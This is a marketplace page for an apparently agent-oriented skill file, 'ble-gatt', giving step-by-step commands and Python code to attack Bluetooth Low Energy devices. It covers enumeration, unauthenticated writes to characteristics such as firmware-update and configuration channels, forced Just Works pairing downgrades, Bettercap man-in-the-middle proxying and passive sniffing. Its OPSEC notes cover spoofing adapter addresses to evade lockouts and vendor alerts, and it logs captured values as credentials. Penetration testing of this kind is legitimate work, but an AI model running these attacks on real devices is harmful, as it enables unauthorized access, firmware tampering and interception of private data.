Skip to main content

ble-gatt

GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 30일 11:58
감지된 SKILL.md 언어
영어
스타
5,666
포크
1,067

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
ble-gatt
description
GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response","tags":"ble, gatt, bluetooth, pairing, sniffing, iot, embedded","mitre_attack":"T1040, T1557, T1190, T1078"}
# BLE GATT Enumeration and Exploitation > BLE devices routinely expose sensitive GATT characteristics without > authentication or encryption. Common wins: OTA firmware update channels, > PIN entry characteristics, device configuration, and health sensor data > — all accessible to any central within radio range. ## Prerequisites - Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself). - Tools: `bluez` (>=5.62), `gatttool`, `bluetoothctl`, `hcitool`, `python3 -m pip install bleak` (cross-platform async BLE library). - Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle + firmware) or Ubertooth One. - Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS. ## Phase 1: Passive Discovery ```bash # Identify advertising devices and their advertised UUIDs without connecting. sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt # Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info). sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid" ``` Using `bleak` for a structured scan: ```python import asyncio from bleak import BleakScanner async def scan(): devices = await BleakScanner.discover(timeout=10.0) for d in devices: print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}") asyncio.run(scan()) ``` ## Phase 2: Full GATT Enumeration (unauthenticated) ```bash # Connect and dump all services/characteristics/descriptors. # gatttool is deprecated but still widely available; use bleak for scripting. gatttool -b <TARGET_MAC> -I > connect > primary # list services by UUID > characteristics # list handles, properties, UUIDs > char-desc # dump all descriptors # Or with hcitool + gatttool one-liner: gatttool -b <TARGET_MAC> --primary gatttool -b <TARGET_MAC> --characteristics ``` Bleak full dump (preferred — handles BLE 5 extended): ```python import asyncio from bleak import BleakClient TARGET = "AA:BB:CC:DD:EE:FF" async def dump_gatt(): async with BleakClient(TARGET) as client: for svc in client.services: print(f"\nService: {svc.uuid} ({svc.description})") for char in svc.characteristics: print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}") if "read" in char.properties: try: val = await client.read_gatt_char(char.uuid) print(f" Value: {val.hex()} ({val!r})") except Exception as e: print(f" Read error: {e}") asyncio.run(dump_gatt()) ``` ## Phase 3: Unauthenticated Write / Command Injection ```bash # Write a raw value to a characteristic handle (gatttool). # Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications. gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100 # Write to a writable characteristic by UUID (bleak): ``` ```python async def write_char(client, uuid, payload: bytes): # Try write-with-response first; fall back to write-without-response. props = client.services.get_characteristic(uuid).properties if "write" in props: await client.write_gatt_char(uuid, payload, response=True) elif "write-without-response" in props: await client.write_gatt_char(uuid, payload, response=False) print(f"Wrote {payload.hex()} to {uuid}") ``` Common attack targets by characteristic UUID: | UUID (16-bit) | Description | Attack | |---|---|---| | 0x2A19 | Battery Level | Read, establish baseline | | 0x2A24 | Model Number | Info disclosure | | 0x2A9D | Weight Scale | Sensor data w/o auth | | Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image | | Vendor 0xFFF1 | Generic config | Write arbitrary config | ## Phase 4: Pairing Downgrade — Just Works Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade. ```bash # In bluetoothctl: set agent to NoInputNoOutput to force Just Works. bluetoothctl agent NoInputNoOutput default-agent scan on pair <TARGET_MAC> # pairing will complete with no key confirmation trust <TARGET_MAC> connect <TARGET_MAC> ``` After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works. ### MITM with Bettercap (BLE proxy) ```bash # bettercap ble.recon + ble.enum — proxy-capable on supported adapters. sudo bettercap -eval "ble.recon on; events.stream on" # Enumerate target: sudo bettercap -eval "ble.enum <TARGET_MAC>" # Write via bettercap: sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>" ``` ## Phase 5: Passive Sniffing with Sniffle ```bash # Flash Sniffle firmware to a TI CC26x2R LaunchPad. # https://github.com/nccgroup/Sniffle # Follow a specific device (37/38/39 advertisement channels, then data channel). python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap # Open in Wireshark (BLE dissector built-in): wireshark /tmp/ble_capture.pcap ``` Ubertooth One — broadband BLE capture (less channel-following accuracy): ```bash ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap # follow on adv channel 37 ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap # follow by address ``` ## Evidence Save all GATT dumps and captures: ```bash EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" # Dump GATT to JSON: python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json" sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt" cp /tmp/ble_capture.pcap "$EVIDENCE/" sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt" ``` Knowledge graph node for a found credential/key: ```python kg_add_node( kind="credential", label=f"BLE GATT unauthenticated access {target_mac}", props={ "key": f"ble-gatt::{target_mac}", "secret_type": "ble_characteristic", "mac": target_mac, "characteristic_uuid": char_uuid, "raw_value": value_hex, "pairing_method": "just_works_or_none", "source": "bleak+gatttool", }, ) ``` ## OPSEC Notes - BLE connection requests are logged by the peripheral's pairing database; repeated failed pairings may trigger a lockout or vendor alert. - Just Works pairing is visible to the peripheral; if it keeps a bond list, a stale address may flag re-pairing attempts. - Use `bdaddr` (hciconfig bdaddr spoof) or the adapter's random-address mode (`hciconfig hci0 leadv 3`) to rotate your BD_ADDR between attempts. - Sniffle is passive — zero RF footprint beyond receiving. Prefer it when the RoE explicitly prohibits active probing. - OTA/DFU channels: if you can write a firmware image, gate the test on explicit operator approval and a recovery plan (jtag/uart fallback) for the device. ## References - Sniffle: https://github.com/nccgroup/Sniffle - bleak: https://github.com/hbldh/bleak - BTLE-Sniffer / GATTacker historical MITM reference. - nRF Connect mobile: fastest manual GATT browser for live engagement triage.
GitHub에서 보기